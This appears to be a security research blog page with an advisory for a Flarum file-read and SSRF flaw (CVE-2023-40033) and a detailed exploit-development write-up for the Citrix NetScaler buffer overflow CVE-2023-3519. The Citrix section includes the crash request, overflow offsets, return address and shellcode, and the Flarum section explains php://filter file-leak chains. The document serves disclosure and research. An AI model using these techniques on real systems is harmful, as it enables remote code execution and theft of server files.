Assetnote

High Signal Detection and Exploitation of Ivanti's Pulse Connect Secure Auth Bypass & RCE

Fri, 19 Jan 2024 00:00:00 +1100

Citrix Bleed: Leaking Session Tokens with CVE-2023-4966

Tue, 24 Oct 2023 08:35:11 +1100

RCE in Progress WS_FTP Ad Hoc via IIS HTTP Modules (CVE-2023-40044)

Wed, 04 Oct 2023 08:33:19 +1100

Leaking File Contents with a Blind File Oracle in Flarum

Mon, 28 Aug 2023 08:00:00 +1000

Introduction

Flarum is a free, open source PHP-based forum software used for everything from gaming hobbyist sites to cryptocurrency discussion. A quick survey on Shodan suggests there are over 1200 installs exposed to the internet.

Through our research we were able to leak the contents of arbitrary local files in Flarum through a blind oracle, and conduct blind SSRF attacks with only a basic user account.

We continue to perform original security research in an effort to alert our customers to zero-day vulnerabilities in their attack surface. As users of our Attack Surface Management platform, our customers are the first to know when they are affected by new vulnerabilities.

Understanding the Flarum Software

Since Flarum is open source software, there was no need for reverse engineering. We quickly realised that the vast majority of code for a Flarum installation comes from the flarum/framework repository, which is available on Github. The first step in analysing the application was to figure out which routes were accessible. Unlike many other software applications we assess at Assetnote, due to Flarum’s nature as forum software, the majority of installations typically permit users to create their own accounts. This means that authenticated routes are also interesting, as long as they don’t require administrative permissions.

We quickly figured out that files called routes.php in different directories provided routing for most of the application, and in particular that framework/core/src/Api/routes.php listed a lot of interesting routes:


use Flarum\Api\Controller;
use Flarum\Http\RouteCollection;
use Flarum\Http\RouteHandlerFactory;

return function (RouteCollection $map, RouteHandlerFactory $route) {
    // Get forum information
    $map->get(
        '/',
        'forum.show',
        $route->toController(Controller\ShowForumController::class)
    );

    ... 

    // Send test mail post
    $map->post(
        '/mail/test',
        'mailTest',
        $route->toController(Controller\SendTestMailController::class)
    );
};

We quickly ruled out a lot of otherwise interesting routes that required admin permissions, such as /mail/test. After a while of looking through the code route by route, we identified a potentially interesting API endpoint that allowed users to update their forum avatar:

// Upload avatar
$map->post(
    '/users/{id}/avatar',
    'users.avatar.upload',
    $route->toController(Controller\UploadAvatarController::class)
);

We then dived into the UploadAvatarController for a closer look.

Looking at the Upload Functionality

The code of the UploadAvatarController is very straightforward:

protected function data(ServerRequestInterface $request, Document $document)
{
    $id = Arr::get($request->getQueryParams(), 'id');
    $actor = RequestUtil::getActor($request);
    $file = Arr::get($request->getUploadedFiles(), 'avatar');

    return $this->bus->dispatch(
        new UploadAvatar($id, $file, $actor)
    );
}

The route takes a user id in the query parameter, and a file upload named avatar, and dispatches an UploadAvatar action to the bus. This is then handled in the UploadAvatarHandler class in framework/core/src/User/Command/UploadAvatarHandler.php:

class UploadAvatarHandler
{
    use DispatchEventsTrait;

    ...

    /**
     * @var ImageManager
     */
    protected $imageManager;

    ...

    public function handle(UploadAvatar $command)
    {
        $actor = $command->actor;

        $user = $this->users->findOrFail($command->userId);

        if ($actor->id !== $user->id) {
            $actor->assertCan('edit', $user);
        }

        $this->validator->assertValid(['avatar' => $command->file]);

        $image = $this->imageManager->make($command->file->getStream());

        $this->events->dispatch(
            new AvatarSaving($user, $actor, $image)
        );

        $this->uploader->upload($user, $image);

        $user->save();

        $this->dispatchEventsFor($user, $actor);

        return $user;
    }
}

Here the function checks we have access to change the avatar of the user with that ID, which prevents a trivial IDOR. However, we are more interested in the behavior of the imageManager->make function. The ImageManager is sourced from the Intervention Image library. What is that?

When Library Code is Dangerous by Default

Intervention Image is a PHP image handling and manipulation library that provides a simple interface to load, store, and edit images. Let’s start by looking at the documentation for the ImageManager’s make method:

Universal factory method to create a new image instance from source. The method is highly variable to read all the input types listed below.

The library then lists a bunch of methods you can use to supply an image:

    string - Path of the image in filesystem.
    string - URL of an image (allow_url_fopen must be enabled).
    string - Binary image data.
    string - Data-URL encoded image data.
    string - Base64 encoded image data.
    resource - PHP resource of type gd. (when using GD driver)
    object - Imagick instance (when using Imagick driver)
    object - Intervention\Image\Image instance
    object - SplFileInfo instance (To handle Laravel file uploads via Symfony\Component\HttpFoundation\File\UploadedFile)

This immediately raises alarm bells. We are providing a string to this method (not exactly, but an object with a __toString() magic method) and have full control. In the happy path, this just ‘works’ since one of the options is binary image data. But what happens if we upload a file containing a URL?

To understand the impact, let’s dive into the sources of the image library:

namespace Intervention\Image;

abstract class AbstractDecoder
{
    // ...

    public function init($data)
    {
        $this->data = $data;

        switch (true) {

            case $this->isGdResource():
                return $this->initFromGdResource($this->data);

            case $this->isImagick():
                return $this->initFromImagick($this->data);

            case $this->isInterventionImage():
                return $this->initFromInterventionImage($this->data);

            case $this->isSplFileInfo():
                return $this->initFromPath($this->data->getRealPath());

            case $this->isBinary():
                return $this->initFromBinary($this->data);

            case $this->isUrl():
                return $this->initFromUrl($this->data);

            case $this->isStream():
                return $this->initFromStream($this->data);

            case $this->isDataUrl():
                return $this->initFromBinary($this->decodeDataUrl($this->data));

            case $this->isFilePath():
                return $this->initFromPath($this->data);

            // isBase64 has to be after isFilePath to prevent false positives
            case $this->isBase64():
                return $this->initFromBinary(base64_decode($this->data));

            default:
                throw new NotReadableException("Image source not readable");
        }
    }
}

We are interested in particular in the functionality when the string supplied is a URL, so let’s see what checks are done:

    public function isUrl()
    {
        return (bool) filter_var($this->data, FILTER_VALIDATE_URL);
    }

    // ...

    public function initFromUrl($url)
    {
        
        $options = [
            'http' => [
                'method'=>"GET",
                'protocol_version'=>1.1, // force use HTTP 1.1 for service mesh environment with envoy
                'header'=>"Accept-language: en\r\n".
                "User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36\r\n"
          ]
        ];
        
        $context  = stream_context_create($options);
        

        if ($data = @file_get_contents($url, false, $context)) {
            return $this->initFromBinary($data);
        }

        throw new NotReadableException(
            "Unable to init from given url (".$url.")."
        );
    }

Our user input gets passed into file_get_contents without any validation, except that it must ‘look like’ a URL! This is known to be incredibly dangerous. The one limitation is that the content to leak must be a valid image, otherwise an error is thrown when the library parses the contents. We can start to brainstorm ways we can abuse this functionality:

We could pass an internal URL such as http://localhost:8100/favicon.ico, and possibly leak that image if it exists.
We could pass an internal URL such as http://localhost:9001/do/evil/action?param=foo, and conduct a blind SSRF attack.
More worryingly, despite the stream context, PHP is happy to accept a file URI, so an input like file:///home/foo/secret.png could possibly reveal the contents of an image on the local filesystem.

While these definitely are vulnerabilities, they are context-dependent and are not so impactful. Can we do better? It turns out, using blind file oracle, we can!

First revealed in the DownUnderCTF 2022, there is a technique for leaking the contents of arbitrary files using the php:// wrapper even if the output of the file read is not given to the user. In our case, the files we want to read are most likely not going to form valid images, so this is a perfect application of this technique. In summary, this attack hinges on two features of the php://filter wrapper.

The first is that the filter wrapper supports converting between two different charsets using the convert.iconv function. For instance, the request php://filter/convert.iconv.latin1.UTF-32/resource=/etc/passwd would take the contents of /etc/passwd and convert it from the latin1 charset to UTF-32. In this case, the file content gets mapped to something like this:

latin1: root:x: 
UTF-32: r\0\0\0o\0\0\0o\0\0\0t\0\0\0:\0\0\0x\0\0\0:\0\0\0

Note how the output blows up 4x in size, because each latin1 char is encoded in a fixed 4 bytes of UTF-32. If we repeat this process, the string will blow up to 16x, 64x, 256x size, and so on, and eventually the string will grow so large it will exceed the memory limit and cause the PHP process to stop and return 500. However, if the file we point to is empty or does not exist, no 500 error will be generated. This forms an oracle we can use to test for emptiness.

On its own this is not so useful, but PHP has another interesting ‘feature’ - the dechunk filter. The dechunk filter was intended for parsing HTTP chunks, but its behavior on arbitrary strings are as follows:

If the string is a single line and begins with one of 0-9a-fA-F, the whole line is removed;
Otherwise, the string remains untouched.

We can now leak information from a file as follows:

Base64 encode the file using the convert.base64-encode function;
Apply the dechunk filter;
Blow up the string multiple times using a latin1 - UTF32 conversion.

If we don’t get a 500, we know that the file contents in base64 must have started with one of 0-9a-fA-F. Otherwise, if we do get a 500, we know it can’t have started with those characters (so it must be in g-zG-Z+/)

The full file leak is more complicated and uses multiple iconv conversions to swap other characters to the front and precisely determine which character is at the front. The gory details are explained in the original challenge’s solution script and in a blog post written by Synacktiv.

Summarising, with a simple modification to the above script we are able to use the technique to leak the contents of any file on the server.

Remediation

Flarum fixed this vulnerability promptly and versions >= 1.8.0 are no longer vulnerable. Their advisory is available here. The vulnerability was assigned CVE-2023-40033.

We have tried reaching out to the developers of Intervention/Image several times with some suggestions to make the library less vulnerable by default, but have got no response. If you are using this library, the best way to ensure you are not vulnerable is by never passing user data directly into the constructor; if you are wanting to turn an upload into an image, pass the file path to the uploaded tempfile instead.

Conclusion

In this blog post, we have seen that a small error in how a library for image manipulation was used resulted in the ability to leak the contents of any file on disk. We have also shown that the PHP blind file oracle which originated in a CTF challenge has real-world applicability and should be kept in mind when auditing PHP source code.

As always, customers of our Attack Surface Management platform were the first to know when this vulnerability affected them. We continue to perform original security research in an effort to inform our customers about zero-day vulnerabilities in their attack surface.

Advisory: Flarum LFI - CVE-2023-40033

Mon, 28 Aug 2023 07:00:00 +1000

Summary

An attacker with a basic user forum account can specify a malicious avatar URL that discloses the contents of arbitrary local files on the file system.

Impact

An attacker can read the contents of any local file. An attacker can also conduct blind SSRF attacks.

Affected Software

The following versions are affected by this vulnerability:

flarum/framework < 1.8.0

Product Description

Flarum is a delightfully simple discussion platform for your website. It’s fast, free, and easy to use, with all the features you need to run a successful community. It’s also extremely extensible, allowing for ultimate customizability.

Solution

Upgrade to the latest version of flarum/framework, >= 1.8.0.

Flarum has released an advisory here. The vulnerability was assigned CVE-2023-40033.

Blog Post

The blog post detailing the steps taken for the discovery of this vulnerability can be found here.

Credits

Adam Kues - Assetnote Security Research Team

Finding and Exploiting Citrix NetScaler Buffer Overflow (CVE-2023-3519) (Part 3)

Wed, 09 Aug 2023 08:00:00 +1000

Introduction

A lot has been written about the recent Citrix NetScaler buffer overflow. In the initial rush to get information and platform checks out to customers, some details may not have been fully explained. In this post we hope to rectify that by detailing the full process from the initial announcement to a working exploit.

For a brief background on the vulnerability, on July 18 2023 Citrix announced an unauthenticated remote code execution vulnerability in Citrix ADC and Citrix Gateway. No details or IOCs were provided and we began reversing the patch to determine if it was applicable for our platform. Our previous analyses are available here and here.

We have added a python script demonstrating our exploit for version 13.1-48.47 of Citrix Netscaler to GitHub: https://github.com/assetnote/exploits/tree/main/citrix/CVE-2023-3519. Some tweaks are required for other versions, but we leave that as an exercise for the reader.

Patch Diffing

We started by downloading and configuring the two most recent versions of Citrix NetScaler, which were 13.1-48.47 and 13.1-49.13. From some of our previous work we knew that the Citrix Gateway component was handled by the /netscaler/nsppe binary. This is the NetScaler Packet Processing Engine (nsppe) and it implements a complete network stack along with multiple HTTP services. We took the patched (49.13) and unpatched (48.47) versions of these binaries and decompiled them with Ghidra. Because the binary is so large we had to tweak some of the Ghidra decompilation settings to ensure success.

We bumped up the decompiler resources under Edit -> Tool Options -> Decompiler to the following.

Cache Size (Functions): 2048
Decompiler Max-Payload (Mbytes): 512
Decompiler Timeout (seconds): 900
Max Instructions per Function: 3000000

After decompiling each binary, we generated a BinDiff file for each one with the BinExport Ghidra extension. These were then compared in BinDiff and we started looking at each function that had detected changes. For most of these functions, rather than compare them directly in BinDiff we took the decompiled code for the functions from Ghidra and compared them textually.

The first notable function we found was ns_aaa_saml_parse_authn_request, which unfortunately turned out to be a red herring. While the patch did include a fix for a memory corruption vulnerability in this function, there was no immediately obvious way to pivot it to remote code execution. No CVE has been raised for the potential denial of service that is possible as a result of this vulnerability.

We kept looking, comparing each function identified by BinDiff until we came across ns_aaa_gwtest_get_event_and_target_names. We saw what looked like an additional length check in the patched version of the code.

// Unpatched Version
if (iVar3 + 1 == iVar7 + -6) {
    iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
    pcVar8 = local_38;
    if (iVar3 == 0) {
        uVar9 = 0x16000c;
    } else {
        *(undefined *)(param_2 + iVar3) = 0;
        uVar9 = 0;
    }
}

// Patched Version, note the iVar3 < 0x80 length check
if ((iVar3 + 1 == uVar8 - 6) && (uVar9 = 0x160010, iVar3 < 0x80)) {
    iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2,iVar3);
    pcVar7 = local_38;
    if (iVar3 == 0) {
        uVar9 = 0x16000c;
    } else {
        *(undefined *)(param_2 + iVar3) = 0;
        uVar9 = 0;
    }
}

We traced the calls to ns_aaa_gwtest_get_event_and_target_names with Ghidra to ns_aaa_gwtest_handler which contained the second part of the URL, /formssso.

if (uVar7 != 0x6d726f66) {
    return 0x20;
}
// 0x6f7373736d726f66 == formssso
if ((*puVar1 | 0x2020202020202020) != 0x6f7373736d726f66) {
    return 0x20;
}
if ((*(byte *)(lVar2 + 0x10) | 0x20) != 0x3f) {
    return 0x20;
}
lVar5 = ns_aaa_gwtest_get_valid_fsso_server(param_2);
if (lVar5 == 0) {
    return 0xf43;
}

Looking a bit further back in the call graph we found ns_aaa_gwtest_handler was called by ns_vpn_process_unauthenticated_request. Here we found the first part of the URL, /gwtest/.

 // 0x2f7473657477672f == /gwtest/
if ((*puVar5 | 0x2020202020202020) == 0x2f7473657477672f) goto code_r0x00743e2d;
...
code_r0x00743e2d:
if ((ns_async_ctx != 0) && (*(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) != 0x28c)) {
    panic("Async context ID does not match expected context ID NS_ASYNC_CTX_AAA_UNAUTH_GWTEST");
}
ns_async_callers_context_size = ns_async_callers_context_size + 0xc0;
if (ns_async_ctx != 0) {
    if (*(int *)(ns_async_ctx + 8) != -0x5310ff3) goto LAB_0075c646;
    if ((ns_async_callers_context_size < *(uint *)(ns_async_ctx + 0x68)) &&
        (0x610 < *(int *)(ns_async_ctx + 0x6c + (ulong)ns_async_callers_context_size) - 0xacU)) {
        goto LAB_00745ba5;
    }
}
iVar14 = ns_aaa_gwtest_handler(local_58,local_50,0,local_80,0);

We now had the endpoint, /gwtest/formssso, but didn’t know how to call it. To do this we looked at the Ghidra output for ns_aaa_gwtest_get_event_and_target_names. We found that it expected an event query parameter which needed to have a value of either start or done. It then checked for a target query parameter and passed the value to the vulnerable ns_aaa_saml_url_decode function. A cut-down version of this function is included below.

undefined8 ns_aaa_gwtest_get_event_and_target_names(long param_1,long param_2,uint *param_3)
{
    // check for 'event' query parameter
    iVar3 = strncmp("event=",local_38,6);
    if (iVar3 == 0) {
    	// check value is 'start'
        iVar3 = strncmp((char *)(lVar6 + 0x17),"start&",6);
        if (iVar3 != 0) {
            iVar3 = strncmp((char *)(lVar6 + 0x17),"done&",5);
        }
        // check for 'target' query parameter
        __s2 = (char *)(lVar6 + lVar5);
        iVar3 = strncmp("target=",__s2,7);
        if (iVar3 == 0) {
        	// point to the value of the 'target' query parameter
            pcVar1 = __s2 + 7;
            iVar3 = ns_aaa_saml_url_decode(pcVar1,param_2);
        }
    }
}

We sent through the following request and caused a server crash. The next step was to figure out a way to understand the crash without getting too frustrated at the lack of tooling.

$ curl -k 'https://192.168.1.225/gwtest/formssso?event=start&target=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

Debugging Citrix NetScaler

The biggest problem was that the nsppe binary we were trying to analyse is also responsible for all network traffic in and out of the VM. If we attach a debugger while in an SSH session the connection is immediately severed. This meant we had to do everything in the VM console window, which was small, didn’t support copy / paste and was occasionally spammed with log messages from other processes. It also meant we couldn’t use any GDB plugins like PEDA to aid exploit development.

Luckily for us, the VM included a copy of GDB and GDBServer. Normally GDBServer is used over TCP, however it also supports serial devices. We added a virtual serial device to our VM and tested it out. Sending data over the new serial device worked without issue.

However, when it came to GDB and GDBServer the connection would never work. We suspected it had something to do with the file not being a “serial device” on the MacOS side of the connection. There was no option in the GUI for VMware Fusion to configure the device any other way. But, we found we could edit the .vmx file and changed the serial device to the following.

serial0.fileType = "network"
serial0.fileName = "telnet://:12345"
serial0.present = "TRUE"

With this setup VMware listened on tcp port 12345 on the host and forwarded the connection to the serial device in the VM. We could now get a full debugging session working with GDB running locally with PEDA installed.

The first step was suspending the pitboss monitoring process. This process automatically restarted nsppe if it detected it not responding. To suspend pitboss we attached to it with GDB and just left in the background.

root@ns# gdb -p 27 &
[1] 996
root@ns# GNU gdb (GDB) 10.1
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-unknown-freebsd11.4".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
Attaching to process 27
Reading symbols from /netscaler/pitboss...
(No debugging symbols found in /netscaler/pitboss)
Reading symbols from /usr/lib32/libnsapps.so...
(No debugging symbols found in /usr/lib32/libnsapps.so)
Reading symbols from /usr/lib32/libc.so.7...
(No debugging symbols found in /usr/lib32/libc.so.7)
Reading symbols from /usr/lib32/libcrypto.so.8...
(No debugging symbols found in /usr/lib32/libcrypto.so.8)
Reading symbols from /usr/lib32/libssl.so.8...
(No debugging symbols found in /usr/lib32/libssl.so.8)
Reading symbols from /usr/lib32/libm.so.5...
(No debugging symbols found in /usr/lib32/libm.so.5)
Reading symbols from /libexec/ld-elf32.so.1...
(No debugging symbols found in /libexec/ld-elf32.so.1)
[Switching to LWP 100136 of process 27]
0x28414763 in _kevent () from /usr/lib32/libc.so.7


[1]+  Stopped                 gdb -p 27

We were then free to start debugging with GDBServer. We used the serial device /dev/cuau0 as the transport and attached to nsppe.

root@ns# gdbserver /dev/cuau0 --attach 453

On the host side we ran GDB, loaded in the nsppe binary and called target remote 127.0.0.1:12345 to connect to GDBServer.

$ gdb
For help, type "help".
Type "apropos word" to search for commands related to "word".
gdb-peda$ file ./unpatched/nsppe
Reading symbols from ./unpatched/nsppe...
(No debugging symbols found in ./unpatched/nsppe)
gdb-peda$ target remote 127.0.0.1:12345
Remote debugging using 127.0.0.1:12345
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x117802860 --> 0x0
RCX: 0x114c11000 --> 0x10a865b80 --> 0x11aaaaaa
RDX: 0xda
RSI: 0xfd
RDI: 0x114c4ecc0 --> 0x0
RBP: 0x7fffffffe8e0 --> 0x7fffffffe940 --> 0x7fffffffe970 --> 0x7fffffffe9a0 --> 0x7fffffffe9b0 --> 0x7fffffffe9e0 (--> ...)
RSP: 0x7fffffffe8c0 --> 0x0
RIP: 0x1e418c6 --> 0x4d30c383483b8b4c
R8 : 0x803962000 --> 0x0
R9 : 0x1f46a
R10: 0x1
R11: 0x119204000 --> 0xfa00
R12: 0x93dc568
R13: 0x2c93000 (0x0000000002c93000)
R14: 0x1
R15: 0x114c4ecc0 --> 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x1e418c0 <vc_idle_poll+64>:	test   eax,eax
   0x1e418c2 <vc_idle_poll+66>:	jne    0x1e418d5 <vc_idle_poll+85>
   0x1e418c4 <vc_idle_poll+68>:	pause
=> 0x1e418c6 <vc_idle_poll+70>:	mov    r15,QWORD PTR [rbx]
   0x1e418c9 <vc_idle_poll+73>:	add    rbx,0x30
   0x1e418cd <vc_idle_poll+77>:	test   r15,r15
   0x1e418d0 <vc_idle_poll+80>:	jne    0x1e418b0 <vc_idle_poll+48>
   0x1e418d2 <vc_idle_poll+82>:	xor    r14d,r14d
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe8c0 --> 0x0
0008| 0x7fffffffe8c8 --> 0x0
0016| 0x7fffffffe8d0 --> 0x93dc568
0024| 0x7fffffffe8d8 --> 0x8000000000000000
0032| 0x7fffffffe8e0 --> 0x7fffffffe940 --> 0x7fffffffe970 --> 0x7fffffffe9a0 --> 0x7fffffffe9b0 --> 0x7fffffffe9e0 (--> ...)
0040| 0x7fffffffe8e8 --> 0x15c3f89 --> 0x467850fc085
0048| 0x7fffffffe8f0 --> 0x7fffffffe920 --> 0x0
0056| 0x7fffffffe8f8 --> 0xf668e5 --> 0x1be41c085
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSTOP
0x0000000001e418c6 in vc_idle_poll ()

Although the setup was not perfect, there were still occasionally issues where single-stepping instructions at certain locations caused the program to behave differently. This was still much better than the tiny console window.

Dissecting the Crash

We set a breakpoint on ns_aaa_gwtest_get_valid_fsso_server and sent through the payload. We stepped through the function call up to where it called the vulnerable function ns_aaa_gwtest_get_event_and_target_names.

   0xc7fa7c <ns_aaa_gwtest_get_valid_fsso_server+60>:	mov    DWORD PTR [rbp-0xc],0x0
   0xc7fa83 <ns_aaa_gwtest_get_valid_fsso_server+67>:	lea    rsi,[rbp-0xa0]
   0xc7fa8a <ns_aaa_gwtest_get_valid_fsso_server+74>:	lea    rdx,[rbp-0x1c]
=> 0xc7fa8e <ns_aaa_gwtest_get_valid_fsso_server+78>:	call   0xc82bb0 <ns_aaa_gwtest_get_event_and_target_names>
   0xc7fa93 <ns_aaa_gwtest_get_valid_fsso_server+83>:	test   eax,eax
   0xc7fa95 <ns_aaa_gwtest_get_valid_fsso_server+85>:	je     0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>
   0xc7fa97 <ns_aaa_gwtest_get_valid_fsso_server+87>:	xor    ebx,ebx
   0xc7fa99 <ns_aaa_gwtest_get_valid_fsso_server+89>:	jmp    0xc7fac7 <ns_aaa_gwtest_get_valid_fsso_server+135>

Stepping over this call frequently resulted in unrelated errors. To fix this we set a breakpoint just after the call at 0xc7fa93 instead. When we ran the exploit again we saw a corrupted call stack but the application had not yet crashed. This can be seen in the snippet below, the backtrace command shows the call stack was filled with 0x41, the A character we used in the payload.

[-------------------------------------code-------------------------------------]
   0xc7fa83 <ns_aaa_gwtest_get_valid_fsso_server+67>:	lea    rsi,[rbp-0xa0]
   0xc7fa8a <ns_aaa_gwtest_get_valid_fsso_server+74>:	lea    rdx,[rbp-0x1c]
   0xc7fa8e <ns_aaa_gwtest_get_valid_fsso_server+78>:	call   0xc82bb0 <ns_aaa_gwtest_get_event_and_target_names>
=> 0xc7fa93 <ns_aaa_gwtest_get_valid_fsso_server+83>:	test   eax,eax
   0xc7fa95 <ns_aaa_gwtest_get_valid_fsso_server+85>:	je     0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>
   0xc7fa97 <ns_aaa_gwtest_get_valid_fsso_server+87>:	xor    ebx,ebx
   0xc7fa99 <ns_aaa_gwtest_get_valid_fsso_server+89>:	jmp    0xc7fac7 <ns_aaa_gwtest_get_valid_fsso_server+135>
   0xc7fa9b <ns_aaa_gwtest_get_valid_fsso_server+91>:	lea    rbx,[rbp-0xa0]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffc120 --> 0x0
0008| 0x7fffffffc128 --> 0x0
0016| 0x7fffffffc130 ('A' <repeats 200 times>...)
0024| 0x7fffffffc138 ('A' <repeats 192 times>, " ")
0032| 0x7fffffffc140 ('A' <repeats 184 times>, " ")
0040| 0x7fffffffc148 ('A' <repeats 176 times>, " ")
0048| 0x7fffffffc150 ('A' <repeats 168 times>, " ")
0056| 0x7fffffffc158 ('A' <repeats 160 times>, " ")
[------------------------------------------------------------------------------]
gdb-peda$ backtrace
#0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#6  0x0000000000000000 in ?? ()

We knew the new length check was 128 bytes in the patched version, so we updated the payload with multiples of B, C, D towards the suspected end of the buffer. Our goal was to find how much space we had to fill before overwriting a return address. A less haphazard approach such as a binary search may have been quicker here, but we had good visibility and the addresses did not change between runs. Eventually we ran the payload 'A' * 160 + 'B' * 8 + 'C' * 8 + 'D' * 8 and saw 0x4343434343434343 (the 8 C bytes) filled the return address. This can be seen below.

Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x4343434343434343 in ?? ()
#2  0x4444444444444444 in ?? ()
#3  0x00000000034a0020 in ns_cvm_cardInBulkQHead ()
#4  0x0000000002f75a01 in ns_default_partition ()
#5  0x00000000034ab320 in ?? ()
#6  0x0000000000000000 in ?? ()

This meant we had a buffer of 168 bytes, followed by the address we wanted to return to. Since the stack is marked as executable, we decided to jump to the start of the buffer at 0x7fffffffc130. We put together the following payload, four nop instructions for the shellcode, the return address and the rest padded to fill up to 168 bytes.

shellcode = b'\x90\x90\x90\x90'
return_address = b'\x30\xc1\xff\xff\xff\x7f\x00\x00'
padding = b'A' * (168 - len(shellcode))
payload = shellcode + padding + return_address

Attempts were made to URL encode all bytes, but we would later learn that there is a bug in the URL decoding which affects bytes greater than 0xa0. We chose to only URL encode a few characters, adding troublesome bytes to a list as we encountered them. We ran the exploit, and continued execution from the breakpoint until the end of the function. Upon returning we found execution neatly at the start of the four nop instructions.

Breakpoint 3, 0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ finish
Run till exit from #0  0x0000000000c7fa93 in ns_aaa_gwtest_get_valid_fsso_server ()
[-------------------------------------code-------------------------------------]
   0x7fffffffc12a:	add    BYTE PTR [rax],al
   0x7fffffffc12c:	add    BYTE PTR [rax],al
   0x7fffffffc12e:	add    BYTE PTR [rax],al
=> 0x7fffffffc130:	nop
   0x7fffffffc131:	nop
   0x7fffffffc132:	nop
   0x7fffffffc133:	nop
   0x7fffffffc134:	rex.B

Exiting Cleanly

In order to add a check for this vulnerability to our platform, the exploit has to execute without interrupting the service. We needed some shellcode that would clean up after the exploit and enable the application to continue normal operation. To do this we set a breakpoint at ns_aaa_gwtest_get_valid_fsso_server and inspected the call stack before the overflow was triggered. This would help us understand where execution would continue from under normal circumstances.

Breakpoint 4, 0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
gdb-peda$ backtrace
#0  0x0000000000c7fa44 in ns_aaa_gwtest_get_valid_fsso_server ()
#1  0x0000000000c7f4b2 in ns_aaa_gwtest_handler ()
#2  0x0000000000743e6d in ns_vpn_process_unauthenticated_request ()
#3  0x000000000078245b in ns_aaa_cookie_valid ()
#4  0x00000000007923c3 in ns_aaa_client_handler ()
#5  0x0000000001e14f89 in nshttp_handler ()
#6  0x000000000113aa27 in nsssl_handlePkt ()
#7  0x00000000014e524d in ns_sslSendHTTPDataPkts ()
#8  0x00000000014e6d5e in ssl3_accept ()
#9  0x00000000014d34f5 in SSL_input ()
#10 0x000000000113a7cc in nsssl_handler ()
#11 0x000000000113a412 in nsssl_generic_handler ()
#12 0x0000000001e5aeb0 in nstcp_input ()
#13 0x0000000001e4bc5a in handleL4Session ()
#14 0x0000000001e48c21 in dispatch_tcp ()
#15 0x0000000001e41e6c in nic_rx_flush_pipeline ()
#16 0x0000000001e41c09 in vc_poll ()
#17 0x00000000015c858f in ns_netio ()
#18 0x00000000015c8422 in packet_engine ()
#19 0x0000000001a5ffb5 in ns_enter_main ()
#20 0x0000000001a643dd in main ()
#21 0x00000000004002db in _start ()

We continued execution and stopped when we reached the shellcode. At this point we looked at the 20 64-bit words from the top of the stack to see if any matched the return addresses we saw in the previous backtrace. At 0x7fffffffc210 we saw the pushed rbp value followed by the return address of ns_vpn_process_unauthenticated_request.

0x00007fffffffc130 in ?? ()
gdb-peda$ x/20g $rsp
0x7fffffffc1e0:	0x0000000000000020	0x00000000034ab344
0x7fffffffc1f0:	0x0000000002f75a01	0x00000000034ab320
0x7fffffffc200:	0x0000000000000000	0x0000000000000001
0x7fffffffc210:	0x00007fffffffd430	0x0000000000743e6d <-- matches ns_vpn_process_unauthenticated_request
0x7fffffffc220:	0x00007fffffffc270	0x0000000001dda811
0x7fffffffc230:	0x00007fffffffc280	0x0000000001dda811
0x7fffffffc240:	0x00007fffffffc4a8	0x0000000000007fff
0x7fffffffc250:	0x00007fffffffc6b8	0x0000000000007fff
0x7fffffffc260:	0x0000000000000005	0x000000000234bd3e
0x7fffffffc270:	0x0000000000007fff	0x0000000000000000

Subtracting the current rsp value (0x7fffffffc1e0) from the target rsp value (0x7fffffffc210), gave us a difference of 0x30. We then added the following assembly instruction to the shellcode. This would increment the stack pointer, pop the stored base pointer and then continue execution of ns_vpn_process_unauthenticated_request.

shellcode += b'\x48\x83\xC4\x30' # add rsp, 0x30
shellcode += b'\x5d'             # pop rbp
shellcode += b'\xc3'             # ret

We ran the new exploit, stepped through the shellcode right up until the ret instruction and looked at the call stack. As you can see below, everything looked good. At this stage we were able to run the exploit repeatedly without interrupting the service.

[-------------------------------------code-------------------------------------]
   0x7fffffffc12f:	add    BYTE PTR [rax+0x48909090],dl
   0x7fffffffc135:	add    esp,0x30
   0x7fffffffc138:	pop    rbp
=> 0x7fffffffc139:	ret
   0x7fffffffc13a:	rex.B
   0x7fffffffc13b:	rex.B
   0x7fffffffc13c:	rex.B
   0x7fffffffc13d:	rex.B
